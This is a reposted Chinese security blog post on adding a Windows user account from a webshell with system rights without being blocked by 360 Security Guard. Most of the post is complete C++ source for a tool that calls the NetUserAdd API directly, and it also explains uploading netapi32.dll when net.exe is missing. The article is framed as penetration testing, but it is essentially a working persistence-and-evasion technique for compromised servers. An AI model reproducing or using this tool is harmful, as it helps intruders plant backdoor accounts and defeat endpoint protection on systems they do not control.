提权技巧

Windows下绕过360安全卫士添加用户

字号+ 作者:科拉实验室 来源:转载 2017-03-07 09:21 我要评论( )

有很多时候,在 渗透测试 中,拿到了Webshell,查看了权限,发现是系统权限,一阵欣喜,但是添加用户的时候,却是被360拦截 所以我就假设了一个想法: 360安全卫士......

有很多时候,在渗透测试中,拿到了Webshell,查看了权限,发现是系统权限,一阵欣喜,但是添加用户的时候,却是被360拦截…

所以我就假设了一个想法:
360安全卫士是一个应用程序吧,它是如何检测用户是是否添加用户的呢?答案当然是命令行了。
假设它获取每一行命令去分析,然后判断是否拦截,那么肯定是使用的系统API吧?要不然程序员会头炸的。

大概这样简单的设想,我们就开始验证了。

这段时间在学习C++,所以就搜索了一下windows提供的API。

https://msdn.microsoft.com/en-us/library/aa370649(VS.85).aspx#

首先看看在系统权限下添加用户:

 

然后再用API添加。

 

开源一下代码:

 

#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")
#include 
#include  
#include 
int wmain(int argc, wchar_t *argv[])
{
	USER_INFO_1 ui;
	DWORD dwLevel = 1;
	DWORD dwError = 0;
	NET_API_STATUS nStatus;
	if (argc != 3)
	{
		printf("==*==*=*=*=====*======*======*===*==*===*==*==*===*===*=");
		printf("\n         Cora Labtorary [http://cora-lab.org]           \n");
		fwprintf(stderr, L"\tUsage: %s UserName PassWord", argv[0]);
		printf("\n         \tAuthor:Coralab-QX           ");
		printf("\n==*==*=*=*=====*======*======*===*==*===*==*==*===*===*=");
		exit(1);
	}
	ui.usri1_name = argv[1];
	ui.usri1_password = argv[2];
	ui.usri1_priv = USER_PRIV_USER;
	ui.usri1_home_dir = NULL;
	ui.usri1_comment = NULL;
	ui.usri1_flags = UF_SCRIPT;
	ui.usri1_script_path = NULL;
	nStatus = NetUserAdd(NULL,
		dwLevel,
		(LPBYTE)&ui,
		&dwError);
	if (nStatus == NERR_Success)
		fwprintf(stderr, L"\n[*]User add success!! UserName is [%s] \n", argv[1]);
	else
		printf("Can not add user ... System Error Code is %d \nPlase go to https://msdn.microsoft.com/en-us/library/ms681381(v=vs.85).aspx ", nStatus);
	return 0;
}

现在我们分析,假设服务器上net.exe被删除了怎么办?

#pragma comment(lib, “netapi32.lib”) 这行代码主要是导入了一个dll,名称为netapi32.dll 如果服务器上没有net.exe,我们将此dll和这个命令行工具上传至服务器,也是可以添加用户的!!

这就是以前的无net添加用户。


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/hack/Right/577.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评
暂时未开启评论功能~